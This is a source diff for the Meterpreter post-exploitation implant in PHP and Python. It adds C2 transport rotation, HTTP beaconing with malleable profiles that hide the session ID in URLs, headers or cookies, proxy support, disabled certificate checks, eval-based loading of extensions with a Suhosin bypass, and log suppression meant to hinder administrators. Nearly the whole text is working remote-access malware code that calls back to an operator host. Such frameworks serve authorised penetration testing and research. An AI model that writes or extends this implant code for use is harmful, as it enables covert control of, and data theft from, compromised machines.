+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_UA);
+ $t['ua'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_URL);
+ $t['proxy_url'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_USER);
+ $t['proxy_user'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_PROXY_PASS);
+ $t['proxy_pass'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_HEADERS);
+ $t['custom_headers'] = ($tlv != null) ? $tlv['value'] : null;
+ $tlv = packet_get_tlv($req, TLV_TYPE_C2_UUID);
+ $t['c2_uuid'] = ($tlv != null) ? $tlv['value'] : null;
+
+ $get_group = packet_get_tlv($req, TLV_TYPE_C2_GET);
+ $t['c2_get'] = ($get_group != null) ? parse_c2_verb_config($get_group['value']) : null;
+ $post_group = packet_get_tlv($req, TLV_TYPE_C2_POST);
+ $t['c2_post'] = ($post_group != null) ? parse_c2_verb_config($post_group['value']) : null;
+ } else {
+ $t['type'] = 'tcp';
+ }
+ return $t;
+}
+
+function tlv_pack_transport_group($t) {
+ $group = tlv_pack(create_tlv(TLV_TYPE_C2_URL, $t['url']));
+ $group .= tlv_pack(create_tlv(TLV_TYPE_C2_COMM_TIMEOUT, $t['comm_timeout']));
+ $group .= tlv_pack(create_tlv(TLV_TYPE_C2_RETRY_TOTAL, $t['retry_total']));
+ $group .= tlv_pack(create_tlv(TLV_TYPE_C2_RETRY_WAIT, $t['retry_wait']));
+ if ($t['type'] == 'http') {
+ if (!empty($t['ua'])) {
+ $group .= tlv_pack(create_tlv(TLV_TYPE_C2_UA, $t['ua']));
+ }
+ if (!empty($t['proxy_url'])) {
+ $group .= tlv_pack(create_tlv(TLV_TYPE_C2_PROXY_URL, $t['proxy_url']));
+ }
+ if (!empty($t['c2_uuid'])) {
+ $group .= tlv_pack(create_tlv(TLV_TYPE_C2_UUID, $t['c2_uuid']));
+ }
+ }
+ return $group;
+}
+
+function activate_transport(&$transport) {
+ if ($transport['type'] == 'http') {
+ return true;
+ }
+ # TCP: use the pre-connected stager socket on the first attempt of the first
+ # transport. Subsequent TCP transports must open a fresh socket.
+ if (isset($GLOBALS['msgsock']) && empty($GLOBALS['_msgsock_consumed'])) {
+ $msgsock = $GLOBALS['msgsock'];
+ $msgsock_type = $GLOBALS['msgsock_type'];
+ switch ($msgsock_type) {
+ case 'socket':
+ register_socket($msgsock);
+ break;
+ case 'stream':
+ default:
+ register_stream($msgsock);
+ }
+ $transport['_socket'] = $msgsock;
+ $GLOBALS['_msgsock_consumed'] = true;
+ return true;
+ }
+ $url_parts = parse_url($transport['url']);
+ if (!isset($url_parts['host']) || !isset($url_parts['port'])) {
+ my_print("Invalid TCP transport URL: " . $transport['url']);
+ return false;
+ }
+ my_print("TCP transport, connecting to " . $url_parts['host'] . ":" . $url_parts['port']);
+ $sock = connect($url_parts['host'], $url_parts['port']);
+ if (!$sock) { return false; }
+ $transport['_socket'] = $sock;
+ return true;
+}
+
+function activate_transport_with_retry(&$transport) {
+ $end = time() + $transport['retry_total'];
+ $first = true;
+ while (time() < $end) {
+ if (!$first) {
+ $wait = max(1, (int)$transport['retry_wait']);
+ sleep($wait);
+ }
+ if (activate_transport($transport)) {
+ return true;
+ }
+ $first = false;
+ }
+ return false;
+}
+
+function dispatch_tcp(&$transport) {
+ $msgsock = $transport['_socket'];
+ add_reader($msgsock);
+ $r = $GLOBALS['readers'];
+ $w = null; $e = null; $t = 1;
+ while (false !== ($cnt = select($r, $w, $e, $t))) {
+ if (empty($GLOBALS['running']) || time() > $GLOBALS['session_expiry_end']) {
+ remove_reader($msgsock); close($msgsock);
+ return DISPATCH_EXIT;
+ }
+ if ($GLOBALS['next_transport_idx'] !== null) {
+ remove_reader($msgsock); close($msgsock);
+ return DISPATCH_SWITCH;
+ }
+ for ($i = 0; $i < $cnt; $i++) {
+ $ready = $r[$i];
+ if ($ready == $msgsock) {
+ $packet = read($msgsock, 32);
+ if (false == $packet) {
+ remove_reader($msgsock); close($msgsock);
+ return DISPATCH_RETIRE;
+ }
+ $xor = substr($packet, 0, 4);
+ $header = xor_bytes($xor, substr($packet, 4, 28));
+ $len_array = unpack("Nlen", substr($header, 20, 4));
+ $len = $len_array['len'] + 32 - 8;
+ while (strlen($packet) < $len) {
+ $packet .= read($msgsock, $len - strlen($packet));
+ }
+ $response = create_response(decrypt_packet(xor_bytes($xor, $packet)));
+ write_tlv_to_socket($msgsock, $response);
+ } else {
+ #my_print("not Msgsock: $ready");
+ $chan_id = get_channel_id_from_resource($ready);
+ $channel = false;
+ if ($chan_id !== false) {
+ $channel = get_channel_by_id($chan_id);
+ }
+
+ if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') {
+ $client_sock = false;
+ $client_addr = '';
+ $client_port = 0;
+ $server_addr = '';
+ $server_port = 0;
+
+ switch (get_rtype($ready)) {
+ case 'socket':
+ $client_sock = @socket_accept($ready);
+ if ($client_sock) {
+ @socket_getpeername($client_sock, $client_addr, $client_port);
+ @socket_getsockname($ready, $server_addr, $server_port);
+ register_socket($client_sock);
+ }
+ break;
+ case 'stream':
+ $peer_name = '';
+ $client_sock = @stream_socket_accept($ready, 0, $peer_name);
+ if ($client_sock) {
+ $local_name = stream_socket_get_name($ready, false);
+ if (!is_string($peer_name)) {
+ $peer_name = '';
+ }
+ if (!is_string($local_name)) {
+ $local_name = '';
+ }
+
+ if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) {
+ $client_addr = $matches[1];
+ $client_port = (int)$matches[2];
+ } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) {
+ $client_addr = $matches[1];
+ $client_port = (int)$matches[2];
+ }
+
+ if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) {
+ $server_addr = $matches[1];
+ $server_port = (int)$matches[2];
+ } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) {
+ $server_addr = $matches[1];
+ $server_port = (int)$matches[2];
+ }
+
+ register_stream($client_sock);
+ }
+ break;
+ }
+
+ if ($client_sock) {
+ $client_channel_id = register_channel($client_sock);
+ add_reader($client_sock);
+
+ $pkt = pack("N", PACKET_TYPE_REQUEST);
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port));
+ packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
+ $pkt = pack("N", strlen($pkt) + 4) . $pkt;
+ write_tlv_to_socket($msgsock, $pkt);
+ }
+ } else {
+ $data = read($ready);
+ if (false === $data) {
+ handle_dead_resource_channel($ready);
+ } elseif (strlen($data) > 0) {
+ my_print(sprintf("Read returned %s bytes", strlen($data)));
+ $request = handle_resource_read_channel($ready, $data);
+ if ($request) {
+ write_tlv_to_socket($msgsock, $request);
+ }
+ }
+ }
+ }
+ }
+ $r = $GLOBALS['readers'];
+ }
+ remove_reader($msgsock); close($msgsock);
+ return DISPATCH_RETIRE;
+}
+
+function dispatch_http(&$transport) {
+ my_print("Starting HTTP transport to " . $transport['url']);
+ $last_packet_time = time();
+ $empty_count = 0;
+
+ while (true) {
+ if (empty($GLOBALS['running']) || time() >= $GLOBALS['session_expiry_end']) {
+ return DISPATCH_EXIT;
+ }
+ if ($GLOBALS['next_transport_idx'] !== null) {
+ return DISPATCH_SWITCH;
+ }
+ if (time() > $last_packet_time + $transport['comm_timeout']) {
+ my_print("Communication timeout reached");
+ return DISPATCH_RETIRE;
+ }
+
+ $raw = http_get_packet($transport);
+
+ if ($raw != null && strlen($raw) >= 32) {
+ $empty_count = 0;
+ $last_packet_time = time();
+
+ $xor = substr($raw, 0, 4);
+ $decrypted = decrypt_packet(xor_bytes($xor, $raw));
+ $response = create_response($decrypted);
+
+ $xor_key = rand_xor_key();
+ $encrypted = encrypt_packet($response);
+ $packet = $xor_key . xor_bytes($xor_key, $encrypted);
+ http_send_packet($transport, $packet);
+ } else {
+ if ($raw !== null) {
+ # empty 200: connection is alive
+ $last_packet_time = time();
+ }
+ $delay = min(10, $empty_count * 0.1);
+ $empty_count++;
+ usleep((int)($delay * 1000000));
+ }
+ }
+}
+
function packet_get_all_tlvs($pkt, $type) {
my_print("Looking for all tlvs of type $type");
# Start at offset 8 to skip past the packet header
@@ -1495,6 +2131,199 @@ function remove_reader($resource) {
}
+##
+# HTTP Transport Functions
+##
+
+function c2_encode($data, $enc) {
+ if ($enc == C2_ENCODING_B64) {
+ return base64_encode($data);
+ } elseif ($enc == C2_ENCODING_B64URL) {
+ return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
+ }
+ return $data;
+}
+
+function c2_decode($data, $enc) {
+ if ($enc == C2_ENCODING_B64) {
+ return base64_decode($data);
+ } elseif ($enc == C2_ENCODING_B64URL) {
+ return base64_decode(strtr($data, '-_', '+/'));
+ }
+ return $data;
+}
+
+function http_get_uuid_from_url($url) {
+ $path = parse_url($url, PHP_URL_PATH);
+ if ($path === null || strlen($path) <= 1) { return ''; }
+ $path = trim($path, '/');
+ $parts = explode('/', $path);
+ return end($parts);
+}
+
+function http_transport_uuid($transport) {
+ # Prefer TLV_TYPE_C2_UUID; fall back to URL path's last segment.
+ if (!empty($transport['c2_uuid'])) {
+ return $transport['c2_uuid'];
+ }
+ return http_get_uuid_from_url($transport['url']);
+}
+
+# Apply the profile's UUID transform (encode + prepend + append) to the
+# raw UUID before placing it in URL/header/cookie. With no profile, the
+# raw UUID is returned unchanged.
+function http_render_uuid($profile, $uuid) {
+ if ($profile == null || strlen($uuid) == 0) {
+ return $uuid;
+ }
+ $enc = isset($profile['enc_uuid']) ? $profile['enc_uuid'] : C2_ENCODING_NONE;
+ $prefix = isset($profile['uuid_prefix']) ? $profile['uuid_prefix'] : '';
+ $suffix = isset($profile['uuid_suffix']) ? $profile['uuid_suffix'] : '';
+ return $prefix . c2_encode($uuid, $enc) . $suffix;
+}
+
+function http_non_c2_url($transport) {
+ # No C2 profile: keep the LURI-bearing base path from $transport['url']
+ # and swap the trailing UUID segment for the current one (metsrv
+ # generate_uri equivalent — honours a patched UUID without mutating
+ # $transport['url']).
+ $url = rtrim($transport['url'], '/');
+ $pos = strrpos($url, '/');
+ $base = ($pos !== false) ? substr($url, 0, $pos) : $url;
+ return $base . '/' . http_transport_uuid($transport);
+}
+
+function http_build_profile_url($transport, $profile) {
+ if ($profile == null) {
+ return http_non_c2_url($transport);
+ }
+
+ # With a C2 profile: discard LURI from the baked-in URL — the profile's
+ # per-verb `set uri` is the authoritative request path.
+ $parsed = parse_url($transport['url']);
+ $base = $parsed['scheme'] . '://' . $parsed['host'];
+ if (isset($parsed['port'])) { $base .= ':' . $parsed['port']; }
+
+ # Pick one of the profile's candidate URIs at random per request.
+ $uri = '';
+ if (!empty($profile['uris'])) {
+ $uri = $profile['uris'][array_rand($profile['uris'])];
+ if ($uri[0] != '/') { $uri = '/' . $uri; }
+ }
+ $url = $base . $uri;
+
+ $uuid = http_render_uuid($profile, http_transport_uuid($transport));
+ if (isset($profile['uuid_get']) && $profile['uuid_get'] != null) {
+ if (strlen($uuid) > 0) {
+ $sep = (strpos($url, '?') !== false) ? '&' : '?';
+ $url .= $sep . $profile['uuid_get'] . '=' . $uuid;
+ }
+ } elseif (empty($profile['uuid_header']) && empty($profile['uuid_cookie'])) {
+ # No param/header/cookie placement => carry the id in the URI path.
+ if (strlen($uuid) > 0) {
+ $url = rtrim($url, '/') . '/' . $uuid;
+ }
+ }
+ return $url;
+}
+
+function http_build_context($transport, $profile, $body = null) {
+ $headers = "Content-Type: application/octet-stream\r\n";
+ if (isset($transport['ua']) && $transport['ua'] != null) {
+ $headers .= "User-Agent: " . $transport['ua'] . "\r\n";
+ }
+ if (isset($transport['custom_headers']) && $transport['custom_headers'] != null) {
+ $headers .= $transport['custom_headers'] . "\r\n";
+ }
+ if ($profile != null) {
+ if (isset($profile['uuid_header']) && $profile['uuid_header'] != null) {
+ $uuid = http_render_uuid($profile, http_transport_uuid($transport));
+ if (strlen($uuid) > 0) {
+ $headers .= $profile['uuid_header'] . ': ' . $uuid . "\r\n";
+ }
+ }
+ if (isset($profile['uuid_cookie']) && $profile['uuid_cookie'] != null) {
+ $uuid = http_render_uuid($profile, http_transport_uuid($transport));
+ if (strlen($uuid) > 0) {
+ $headers .= "Cookie: " . $profile['uuid_cookie'] . '=' . $uuid . "\r\n";
+ }
+ }
+ }
+
+ $opts = array('http' => array(
+ 'method' => ($body !== null) ? 'POST' : 'GET',
+ 'header' => $headers,
+ 'timeout' => $transport['comm_timeout'],
+ 'ignore_errors' => true,
+ ));
+ if ($body !== null) {
+ $opts['http']['content'] = $body;
+ }
+
+ if (isset($transport['proxy_url']) && $transport['proxy_url'] != null) {
+ $opts['http']['proxy'] = $transport['proxy_url'];
+ $opts['http']['request_fulluri'] = true;
+ if (!empty($transport['proxy_user'])) {
+ $pass = isset($transport['proxy_pass']) ? $transport['proxy_pass'] : '';
+ $auth = base64_encode($transport['proxy_user'] . ':' . $pass);
+ $opts['http']['header'] .= "Proxy-Authorization: Basic " . $auth . "\r\n";
+ }
+ }
+
+ if (strpos($transport['url'], 'https') === 0) {
+ $opts['ssl'] = array(
+ 'verify_peer' => false,
+ 'verify_peer_name' => false,
+ 'allow_self_signed' => true,
+ );
+ }
+
+ return stream_context_create($opts);
+}
+
+function http_get_packet($transport) {
+ $profile = $transport['c2_get'];
+ $url = http_build_profile_url($transport, $profile);
+ $ctx = http_build_context($transport, $profile);
+
+ $raw = @file_get_contents($url, false, $ctx);
+ if ($raw === false || strlen($raw) == 0) {
+ return null;
+ }
+
+ if ($profile != null) {
+ $start = $profile['prefix_skip'];
+ $end = strlen($raw) - $profile['suffix_skip'];
+ if ($start > 0 || $profile['suffix_skip'] > 0) {
+ $raw = substr($raw, $start, $end - $start);
+ }
+ if ($profile['enc_inbound'] != C2_ENCODING_NONE) {
+ $raw = c2_decode($raw, $profile['enc_inbound']);
+ }
+ }
+
+ return $raw;
+}
+
+function http_send_packet($transport, $packet) {
+ $profile = $transport['c2_post'];
+ $body = $packet;
+
+ if ($profile != null) {
+ $body = c2_encode($body, $profile['enc_outbound']);
+ $prefix = isset($profile['prefix']) ? $profile['prefix'] : '';
+ $suffix = isset($profile['suffix']) ? $profile['suffix'] : '';
+ if (strlen($prefix) > 0 || strlen($suffix) > 0) {
+ $body = $prefix . $body . $suffix;
+ }
+ }
+
+ $url = http_build_profile_url($transport, $profile);
+ $ctx = http_build_context($transport, $profile, $body);
+
+ @file_get_contents($url, false, $ctx);
+}
+
##
# Main stuff
##
@@ -1503,7 +2332,7 @@ function remove_reader($resource) {
# Turn off error reporting so we don't leave any ugly logs. Why make an
# administrator's job easier if we don't have to? =)
-if (MY_DEBUGGING) {
+if (my_debugging_enabled()) {
error_reporting(E_ALL);
} else {
error_reporting(0);
@@ -1515,163 +2344,74 @@ function remove_reader($resource) {
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
-# Add the payload UUID to globals, and use that from now on so that we can
-# update it as required.
-$GLOBALS['UUID'] = PAYLOAD_UUID;
-$GLOBALS['SESSION_GUID'] = SESSION_GUID;
-$GLOBALS['AES_KEY'] = null;
+# Parse configuration from TLV config block
+$config = parse_config_block(base64_decode(CONFIG_BLOCK));
+
+$GLOBALS['UUID'] = $config['uuid'];
+$GLOBALS['SESSION_GUID'] = $config['session_guid'];
+$GLOBALS['AES_KEY'] = $config['sym_key'];
$GLOBALS['AES_ENABLED'] = false;
-# If we don't have a socket we're standalone, setup the connection here.
-# Otherwise, this is a staged payload, don't bother connecting
-if (!isset($GLOBALS['msgsock'])) {
- # The payload handler overwrites this with the correct LHOST before sending
- # it to the victim.
- $ipaddr = '127.0.0.1';
- $port = 4444;
- my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
- $msgsock = connect($ipaddr, $port);
- if (!$msgsock) { die(); }
-} else {
- # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or
- # stream) in $msgsock_type
- $msgsock = $GLOBALS['msgsock'];
- $msgsock_type = $GLOBALS['msgsock_type'];
- switch ($msgsock_type) {
- case 'socket':
- register_socket($msgsock);
- break;
- case 'stream':
- # fall through
- default:
- register_stream($msgsock);
- }
+if ($config['debug_log'] != null && strlen($config['debug_log']) > 0) {
+ # TLV-supplied debug log path overrides the compile-time MY_DEBUGGING_LOG_FILE_PATH
+ $GLOBALS['DEBUGGING'] = true;
+ $GLOBALS['DEBUGGING_LOG_FILE_PATH'] = $config['debug_log'];
+ my_print("Debug log path: " . $config['debug_log']);
}
-add_reader($msgsock);
-#
-# Main dispatch loop
-#
-$r=$GLOBALS['readers'];
-$w=NULL;$e=NULL;$t=1;
-while (false !== ($cnt = select($r, $w, $e, $t))) {
- #my_print(sprintf("Returned from select with %s readers", count($r)));
- $read_failed = false;
- for ($i = 0; $i < $cnt; $i++) {
- $ready = $r[$i];
- if ($ready == $msgsock) {
- $packet = read($msgsock, 32);
- my_print(sprintf("Read returned %s bytes", strlen($packet)));
- if (false==$packet) {
- my_print("Read failed on main socket, bailing");
- # We failed on the main socket. There's no way to continue, so
- # break all the way out.
- break 2;
- }
- $xor = substr($packet, 0, 4);
- $header = xor_bytes($xor, substr($packet, 4, 28));
- $len_array = unpack("Nlen", substr($header, 20, 4));
- # length of the packet should be the packet header size
- # minus 8 for the tlv length + the required data length
- $len = $len_array['len'] + 32 - 8;
- # packet type should always be 0, i.e. PACKET_TYPE_REQUEST
- while (strlen($packet) < $len) {
- $packet .= read($msgsock, $len-strlen($packet));
- }
- $response = create_response(decrypt_packet(xor_bytes($xor, $packet)));
+$GLOBALS['transport_list'] = $config['transports'];
+$GLOBALS['current_transport_idx'] = 0;
+$GLOBALS['next_transport_idx'] = null;
+$GLOBALS['session_expiry_end'] = time() + $config['session_expiry'];
+$GLOBALS['running'] = true;
- write_tlv_to_socket($msgsock, $response);
+# Hot-load extensions baked into the config block (EXTENSIONS=) before
+# opening the C2 session, so the framework sees them at connect time.
+if (!empty($config['extensions'])) {
+ foreach ($config['extensions'] as $ext_source) {
+ if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval') && can_call_function('create_function')) {
+ $suhosin_bypass = create_function('', $ext_source);
+ $suhosin_bypass();
} else {
- #my_print("not Msgsock: $ready");
- $chan_id = get_channel_id_from_resource($ready);
- $channel = false;
- if ($chan_id !== false) {
- $channel = get_channel_by_id($chan_id);
- }
-
- if ($channel && isset($channel['subtype']) && $channel['subtype'] == 'tcp_server') {
- $client_sock = false;
- $client_addr = '';
- $client_port = 0;
- $server_addr = '';
- $server_port = 0;
-
- switch (get_rtype($ready)) {
- case 'socket':
- $client_sock = @socket_accept($ready);
- if ($client_sock) {
- @socket_getpeername($client_sock, $client_addr, $client_port);
- @socket_getsockname($ready, $server_addr, $server_port);
- register_socket($client_sock);
- }
- break;
- case 'stream':
- $peer_name = '';
- $client_sock = @stream_socket_accept($ready, 0, $peer_name);
- if ($client_sock) {
- $local_name = stream_socket_get_name($ready, false);
- if (!is_string($peer_name)) {
- $peer_name = '';
- }
- if (!is_string($local_name)) {
- $local_name = '';
- }
+ eval($ext_source);
+ }
+ }
+}
- if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $peer_name, $matches)) {
- $client_addr = $matches[1];
- $client_port = (int)$matches[2];
- } elseif (preg_match('/^([^:]+):(\d+)$/', $peer_name, $matches)) {
- $client_addr = $matches[1];
- $client_port = (int)$matches[2];
- }
+#
+# Outer transport-rotation loop: activate the current transport (with retry),
+# dispatch on it, then rotate forward or switch as directed.
+#
+while ($GLOBALS['running'] && time() < $GLOBALS['session_expiry_end']) {
+ $idx = $GLOBALS['current_transport_idx'];
+ $transport = &$GLOBALS['transport_list'][$idx];
- if (preg_match('/^\[([^\]]+)\]:(\d+)$/', $local_name, $matches)) {
- $server_addr = $matches[1];
- $server_port = (int)$matches[2];
- } elseif (preg_match('/^([^:]+):(\d+)$/', $local_name, $matches)) {
- $server_addr = $matches[1];
- $server_port = (int)$matches[2];
- }
+ if (!activate_transport_with_retry($transport)) {
+ my_print("Failed to activate transport[$idx], rotating");
+ $GLOBALS['current_transport_idx'] = transport_next_idx($idx);
+ unset($transport);
+ continue;
+ }
- register_stream($client_sock);
- }
- break;
- }
+ if ($transport['type'] == 'tcp') {
+ $result = dispatch_tcp($transport);
+ my_print("Finished TCP transport");
+ } else {
+ $result = dispatch_http($transport);
+ my_print("Finished HTTP transport");
+ }
- if ($client_sock) {
- $client_channel_id = register_channel($client_sock);
- add_reader($client_sock);
-
- $pkt = pack("N", PACKET_TYPE_REQUEST);
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMMAND_ID, COMMAND_ID_STDAPI_NET_TCP_CHANNEL_OPEN));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id()));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $client_channel_id));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_PARENTID, $chan_id));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_HOST, $server_addr));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_LOCAL_PORT, $server_port));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $client_addr));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $client_port));
- packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, $GLOBALS['UUID']));
- $pkt = pack("N", strlen($pkt) + 4) . $pkt;
- write_tlv_to_socket($msgsock, $pkt);
- }
- } else {
- $data = read($ready);
- if (false === $data) {
- handle_dead_resource_channel($ready);
- } elseif (strlen($data) > 0){
- my_print(sprintf("Read returned %s bytes", strlen($data)));
- $request = handle_resource_read_channel($ready, $data);
- if ($request) {
- write_tlv_to_socket($msgsock, $request);
- }
- }
- }
- }
+ if ($result == DISPATCH_EXIT) {
+ unset($transport);
+ break;
}
- # $r is modified by select, so reset it
- $r = $GLOBALS['readers'];
-} # end main loop
-my_print("Finished");
+ if ($result == DISPATCH_SWITCH) {
+ $GLOBALS['current_transport_idx'] = $GLOBALS['next_transport_idx'];
+ $GLOBALS['next_transport_idx'] = null;
+ } else {
+ # DISPATCH_RETIRE: rotate forward
+ $GLOBALS['current_transport_idx'] = transport_next_idx($idx);
+ }
+ unset($transport);
+}
my_print("--------------------");
-close($msgsock);
diff --git a/python/meterpreter/meterpreter.py b/python/meterpreter/meterpreter.py
index d5b485fe8..2d050b38f 100644
--- a/python/meterpreter/meterpreter.py
+++ b/python/meterpreter/meterpreter.py
@@ -1,7 +1,9 @@
#!/usr/bin/python
+import base64
import binascii
import code
import copy
+import logging
import os
import platform
import random
@@ -23,7 +25,7 @@
has_windll = hasattr(ctypes, 'windll')
try:
- urllib_imports = ['ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
+ urllib_imports = ['HTTPPasswordMgrWithDefaultRealm', 'ProxyBasicAuthHandler', 'ProxyHandler', 'HTTPSHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
@@ -63,12 +65,9 @@
DEBUGGING = False
DEBUGGING_LOG_FILE_PATH = None
TRY_TO_FORK = True
-HTTP_CONNECTION_URL = None
-HTTP_PROXY = None
-HTTP_USER_AGENT = None
-HTTP_COOKIE = None
-HTTP_HOST = None
-HTTP_REFERER = None
+CONFIG_BLOCK = ''
+
+# defaults used as fallbacks within transport setup
PAYLOAD_UUID = ''
SESSION_GUID = ''
SESSION_COMMUNICATION_TIMEOUT = 300
@@ -78,6 +77,7 @@
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
+PACKET_TYPE_CONFIG = 2
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
@@ -178,7 +178,11 @@
TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash
TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload
TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload
-TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url)
+TLV_TYPE_C2_ENC_INBOUND = TLV_META_TYPE_UINT | 720 # Server->client (response) body encoding
+TLV_TYPE_C2_ENC_OUTBOUND = TLV_META_TYPE_UINT | 728 # Client->server (request) body encoding (POST only)
+TLV_TYPE_C2_ENC_UUID = TLV_META_TYPE_UINT | 729 # Encoding applied to the UUID before placement
+TLV_TYPE_C2_UUID_PREFIX = TLV_META_TYPE_STRING | 730 # String to prepend to the encoded UUID
+TLV_TYPE_C2_UUID_SUFFIX = TLV_META_TYPE_STRING | 731 # String to append to the encoded UUID
TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes)
TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes)
TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in
@@ -198,6 +202,11 @@
ENC_NONE = 0
ENC_AES256 = 1
+# C2 encoding flags
+C2_ENCODING_NONE = 0
+C2_ENCODING_B64 = 1
+C2_ENCODING_B64URL = 2
+
# Packet header sizes
PACKET_XOR_KEY_SIZE = 4
PACKET_SESSION_GUID_SIZE = 16
@@ -369,13 +378,8 @@
)
# ---------------------------------------------------------------
-if DEBUGGING:
- import logging
- logging.basicConfig(level=logging.DEBUG)
- if DEBUGGING_LOG_FILE_PATH:
- file_handler = logging.FileHandler(DEBUGGING_LOG_FILE_PATH)
- file_handler.setLevel(logging.DEBUG)
- logging.getLogger().addHandler(file_handler)
+# Note: DEBUGGING is driven by the runtime config block, not a build-time
+# constant, so logging is configured where DEBUGGING is enabled (below).
if has_windll:
class SYSTEM_INFO(ctypes.Structure):
@@ -455,6 +459,18 @@ def debug_print(msg):
if DEBUGGING:
logging.debug(msg)
+def debug_hexdump(label, data):
+ if DEBUGGING:
+ if data is None:
+ debug_print(label + ' = None')
+ return
+ preview = data[:64]
+ try:
+ hexed = binascii.b2a_hex(preview).decode('ascii')
+ except Exception:
+ hexed = repr(preview)
+ debug_print('%s (len=%d): %s%s' % (label, len(data), hexed, '...' if len(data) > 64 else ''))
+
@export
def debug_traceback(msg=None):
if DEBUGGING:
@@ -560,6 +576,22 @@ def packet_get_tlv(pkt, tlv_type):
return {}
return tlv
+def decrypt_packet(pkt, aes_key=None):
+ if pkt and len(pkt) > PACKET_HEADER_SIZE:
+ xor_key = struct.unpack('BBBB', pkt[:PACKET_XOR_KEY_SIZE])
+ raw = xor_bytes(xor_key, pkt)
+ pkt_type_off = PACKET_HEADER_SIZE - PACKET_TYPE_SIZE
+ pkt_type = struct.unpack('>I', raw[pkt_type_off:pkt_type_off+PACKET_TYPE_SIZE])[0]
+ enc_offset = PACKET_XOR_KEY_SIZE + PACKET_SESSION_GUID_SIZE
+ enc_flag = struct.unpack('>I', raw[enc_offset:enc_offset+PACKET_ENCRYPT_FLAG_SIZE])[0]
+ if enc_flag == ENC_AES256 and aes_key and pkt_type != PACKET_TYPE_CONFIG:
+ iv = raw[PACKET_HEADER_SIZE:PACKET_HEADER_SIZE+16]
+ encrypted = raw[PACKET_HEADER_SIZE+len(iv):]
+ return AES_CBC(aes_key).decrypt(iv, encrypted)
+ else:
+ return raw[PACKET_HEADER_SIZE:]
+ return None
+
@export
def tlv_pack(*args):
if len(args) == 2:
@@ -889,6 +921,7 @@ def __init__(self):
self.request_retire = False
self.aes_enabled = False
self.aes_key = None
+ self.c2_uuid = None
def __repr__(self):
return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)
@@ -901,6 +934,30 @@ def communication_has_expired(self):
def should_retire(self):
return self.communication_has_expired or self.request_retire
+ @staticmethod
+ def _parse_c2_verb_options(group_bytes):
+ """Parse GET or POST sub-group TLV bytes into an options dict."""
+ opts = {}
+ # A profile's `set uri` may list several candidate URIs, emitted as
+ # repeated TLV_TYPE_C2_URI values. Collect them all; the request
+ # builder picks one at random per request (Cobalt Strike semantics).
+ opts['uris'] = [t['value'] for t in packet_enum_tlvs(group_bytes, TLV_TYPE_C2_URI)]
+ opts['ua'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_UA).get('value')
+ opts['headers'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_HEADERS).get('value')
+ opts['enc_inbound'] = packet_get_tlv(group_bytes, TLV_TYPE_C2_ENC_INBOUND).get('value', C2_ENCODING_NONE)
